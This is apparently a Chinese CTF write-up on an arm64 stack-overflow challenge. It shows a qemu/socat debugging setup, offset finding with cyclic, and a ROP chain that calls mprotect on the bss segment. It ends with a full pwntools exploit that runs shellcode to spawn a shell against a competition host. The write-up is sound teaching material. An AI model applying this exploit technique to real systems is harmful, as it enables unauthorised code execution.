arm64 调试环境搭建及 ROP 实战

前言

比赛的一个 `arm 64` 位的 `pwn` 题，通过这个题实践了 `arm 64` 下的 `rop` 以及调试环境搭建的方式。

题目文件

https://gitee.com/hac425/blog_data/tree/master/arm64

程序分析

首先看看程序开的保护措施，架构信息

```
hac425@ubuntu:~/workplace$ checksec pwn
[*] '/home/hac425/workplace/pwn'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

程序是 `aarch64` 的， 开启了`nx`，没有开 `pie` 说明程序的基地址不变。而且没有栈保护。

放到 `ida` 里面分析，通过在 `start` 函数里面查看可以很快定位到 `main` 函数的位置

```
__int64 sub_400818()
{
  sub_400760();
  write(1LL, "Name:", 5LL);
  read(0LL, &unk_411068, 0x200LL);              // 往 bss 上读入 0x200 字节
  sub_4007F0();
  return 0LL;
}
```

`main` 函数的逻辑比较简单，首先读入 `0x200` 字节到 `bss` 段中的一个缓冲区， 然后调用另一个函数，这个函数里面就是简单的栈溢出。

```
__int64 sub_4007F0()
{
  __int64 v1; // 数据大小为 8 字节
  return read(0LL, &v1, 512LL);  // 往 v1 处读入了 0x200 字节的数据
}
```

函数往一个 `int64` 类型的变量里面读入了 `0x200` 字节的数据， 栈溢出。

程序开启了 `nx`，说明我们需要通过 `rop` 的技术来 `getshell`.

首先看看程序内还有没有可以利用的东西， 可以发现程序中还有 `mprotect`。

我们可以使用 `mprotect` 来让一块内存变得可执行。 而且程序的开头我们可以往 `bss` 段写 `0x200` 字节的数据。

所以思路就有了：

- 利用程序开始往 bss 段写数据的机会，在 bss 段写入 shellcode
- 通过栈溢出和 rop 调用 mprotect 让 shellcode 所在内存区域变成 rwx
- 最后调到 shellcode 执行

调试环境搭建

开始一直纠结在环境不知道怎么搭建，后来发现可以直接使用 apt 安装 arm 的动态库，然后用 qemu 运行即可。

```
sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn

-g 1234: 表示 qemu 会在 1234 起一个 gdbserver 等待 gdb 客户端连接后才能继续执行
-L /usr/aarch64-linux-gnu: 指定动态库路径
```

貌似 apt 还支持许多其他架构的动态库的安装， 以后出现其他架构的题也不慌了 ^_^.

下面在使用 socat 搭建这个题， 方便输入一些 不可见的字符。

```
socat tcp-l:10002,fork exec:"qemu-aarch64 -g 1234  -L /usr/aarch64-linux-gnu ./pwn",reuseaddr
```

命令作用为 监听在 10002 端口， 每有一个连接过来，就执行

```
qemu-aarch64 -g 1234  -L /usr/aarch64-linux-gnu ./pwn
```

此时我们可以把调试器 attach 上去调试目标程序。

可以在脚本中，当连接服务器后，暂停执行，等待调试器 attach 。

```
p = remote("127.0.0.1", 10002)
pause()  # 等待调试 attach ，并让目标程序继续执行
```

简单了解 arm64

首先是寄存器的变化。

1. arm64 有 32 个 64bit 长度的通用寄存器 x0～x30 以及 sp，可以只使用其中的 32bit 即 w0～w30 （类似于 x64 中可以使用 $rax 也可以使用其中的 4 字节 $eax）。
2. arm32 只有 16 个 32bit 的通用寄存器 r0~r12 , lr, pc, sp.

函数调用的变化

1. arm64 前面 **8 个参数** 都是通过**寄存器**来传递 x0～x7
2. arm32 前面 4 个参数通过寄存器来传递 r0～r3，其他通过栈传递。

然后一些 rop 会用到的指令介绍

```
ret      跳转到 x30 寄存器，一般在函数的末尾会恢复函数的返回地址到 x30 寄存器

ldp x19, x20, [sp, #0x10]      从 sp+0x10 的位置读 0x10 字节，按顺序放入 x19, x20 寄存器

ldp x29, x30, [sp], #0x40       从 sp 的位置读 0x10 字节，按顺序放入 x29, x30 寄存器，然后 sp += 0x40

MOV X1, X0  寄存器X0的值传给X1
```

`blr x3`　　跳转到由Xm目标寄存器指定的地址处，同时将下一条指令存放到X30寄存器中

定位偏移

对于栈溢出，我们需要定位到我们的输入数据的那一部分可以控制程序的 `pc` 寄存器。这一步可以使用 `pwntools` 自带的 `cyclic` 和 `cyclic_find` 的功能来查找偏移，这种方式非常的方便。

通过分析程序，我们知道程序会往 `8` 字节大小的空间内（`int64`）读入 `0x200` 字节，所以使用 `cyclic` 生成一下然后发送给程序。

写个`poc`，调试一下

```
from pwn import *
from time import sleep

p = remote("127.0.0.1", 10002)
pause()

p.recvuntil("Name:")
p.send("sssss")

sleep(0.5)

payload = cyclic(0x200)
p.sendline(payload)

p.interactive()
```

当连接到 `socat` 监听的端口后，脚本会暂停，这时使用 `gdb` 连接上去就可以调试了。

然后让程序继续运行，同时让脚本也继续运行。会触发崩溃

可以看到 `pc` 寄存器的值被修改为 `0x6161617461616173` ，同时栈上也都是 `cyclic`生成的数据。

取 `pc` 的低四个字节（cyclic_find 最多支持 4 字节数据查找偏移）给 `cyclic_find` 来定位偏移。

```
In [23]: cyclic_find(0x61616173)
Out[23]: 72
```

所以 第 `72` 个字节后面就是返回地址的值了。

而且发现此时栈顶的数据刚好是返回地址都后面那一部分，这个信息对于我们布置 `rop` 链也是一个有用的信息。

ROP

gadget 搜集

定位到 `pc` 的偏移后，下一步就是设置 `rop` 链了。

首先用 ROPgadget 查找程序中可用的 gadget

```
$ ROPgadget --binary pwn >  pwn.txt
```

然后根据我们的目的和拥有的条件，去找需要的 gadget.

回顾下我们的目标： 执行 mprotect ， 然后执行 shellcode

可以去看看 mprotect 的调用位置。

程序中已经有一个完整的调用， 而且地址范围也是恰好包含了我们 shellcode 的位置 (0x411068).所以只需要改第三个参数的值为标识可执行的即可。

```
#define PROT_READ   0x1     /* Page can be read.  */
#define PROT_WRITE  0x2     /* Page can be written.  */
#define PROT_EXEC   0x4     /* Page can be executed.  */
#define PROT_NONE   0x0     /* Page can not be accessed.  */
```

通过前面的了解我们知道 arm64 的 第三个参数放在 x2 寄存器里面，所以我现在就是要去找可以修改 x2 或者 W2 的 gadget.

通过在 gadget 里面搜索 ， 发现了两个可以结合使用的 gadget

```
0x4008AC : ldr x3, [x21, x19, lsl #3] ; mov x2, x22 ; mov x1, x23 ; mov w0, w24 ; add x19, x19, #1 ; blr x3


0x4008CC :  ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
```

- 第一个 gadget 使用 x22, x23, x24 寄存器的值设置了 x2, x1 , w0 的值 , 这正好设置了函数调用的三个参数。然后会跳转到 x3. 而 x3 是从 x21 + x19<<3 处取出来的。
- 第二个 gadget 则从 栈上取出数据设置了 x19 ~ 0x24 和 x29,x30 然后 ret. 栈上的数据使我们控制的哇!

结合使用这两个 gadget 我们可以设置需要调用的函数的 3 个参数值， 那么我们就可以调用 mprotect 了。

布置 rop 链

下面分析 rop 链的构造

```
payload = cyclic(72)
payload += p64(0x4008CC) # pc, gadget 1


payload += p64(0x0)  # x29
payload += p64(0x4008AC)  # x30, ret address ----> gadget 2
payload += p64(0x0)  # x19
payload += p64(0x0)  # x20
payload += p64(0x0411068)  # x21---> input
payload += p64(0x7)  # x22---> mprotect , rwx
payload += p64(0x1000)  # x23---> mprotect , size
payload += p64(0x411000)  # x24---> mprotect , address
payload += p64(0x0411068 + 0x10)
payload += p64(0x0411068 + 0x10) # ret to shellcode
payload += cyclic(0x100)
```

首先使用 0x4008CC 处的 gadget 设置寄存器的值， 执行完后各个寄存器的值为

```
x30 = 0x4008AC   --> 即第二段 gadget 的地址， ret指令时会 跳转过去，执行第二段 gadget
x21 = 0x0411068  --> 程序开头让我们输入的name存放的位置， 用于第二段 gadget 设置 x3
```

```
x19 = 0


x22 = 7       mprotect 的第3个参数， 表示  rwx
x23 = 0x1000 mprotect 的第2个参数
x24 = 0x411068 mprotect 的第1个参数
```

此时栈的布局为

```
p64(0x0411068 + 0x10)
p64(0x0411068 + 0x10) # ret to shellcode
cyclic(0x100)
```

然后执行第二段 `gadget（0x4008AC）`

首先

```
ldr x3, [x21, x19, lsl #3]
```

我们在第一段 `gadget` 时设置了 `x21` 为 `name` 的地址， `x19` 为 `0`。 所以 `x3` 为 `name` 开始的 `8` 个字节。

然后设置 `x0 ~x2` 的值。最后会 跳转到 `x3` 处。 此时参数已经设置好，我们在 发送 `name` 时把 开头 8 字节 设置为 调用 `mprotect` 的地址，就可以调用 `mprotect` 把 `bss` 段设置为 可执行了。

```
p.recvuntil("Name:")
payload = p64(0x4007E0) # 调用 mprotect
payload += p64(0)
payload += shellcode  # shellcode
p.send(payload)
```

调用 `mprotect`

我这里选择了 `0x4007E0`, 因为这里执行完后就会 从栈上取地址返回， 我们可以再次控制 `pc`

```
.text:00000000004007E8                LDP             X29, X30, [SP+var_s0],#0x10
.text:00000000004007EC                RET
```

执行到 `04007E8`时的 栈

```
p64(0x0411068 + 0x10)
p64(0x0411068 + 0x10) # ret to shellcode
cyclic(0x100)
```

跳转到 shellcode

然后就会跳转到 `0x0411068 + 0x10` 也就是我们 `shellcode` 的位置。

执行shellcode

poc

```
from pwn import *
from time import sleep
elf = ELF("./pwn")
context.binary = elf
```

```
context.log_level = "debug"
shellcode = asm(shellcraft.aarch64.sh())

p = remote("106.75.126.171", 33865)
# p = remote("127.0.0.1", 10002)
# pause()

p.recvuntil("Name:")
payload = p64(0x4007E0)
payload += p64(0)
payload += shellcode
p.send(payload)
```

```
payload = cyclic(72)
payload += p64(0x4008CC) # pc, gadget 1

payload += p64(0x0)  # x29
payload += p64(0x4008AC)  # x30, ret address ----> gadget 2
payload += p64(0x0)  # x19
payload += p64(0x0)  # x20
payload += p64(0x0411068)  # x21---> input
payload += p64(0x7)  # x22---> mprotect , rwx
payload += p64(0x1000)  # x23---> mprotect , size
payload += p64(0x411000)  # x24---> mprotect , address
payload += p64(0x0411068 + 0x10)
payload += p64(0x0411068 + 0x10) # ret to shellcode
payload += cyclic(0x100)


sleep(0.5)
p.sendline(payload)

p.interactive()
```

最后发现这两段 `gadget` 位于 程序初始化函数的那一部分， 应该可以作为通用 `gadget`.

总结

通过 搭建 `arm64` 程序调试环境，也明白其他架构调试环境搭建的方式

apt 安装相应的动态库，然后使用 qemu 执行， 使用 socat 起服务，方便调试

参考

https://peterpan980927.cn/2018/01/27/ARM64%E6%B1%87%E7%BC%96/

http://people.seas.harvard.edu/~apw/sreplay/src/linux/mmap.c

来源： https://www.cnblogs.com/hac425/p/9905475.html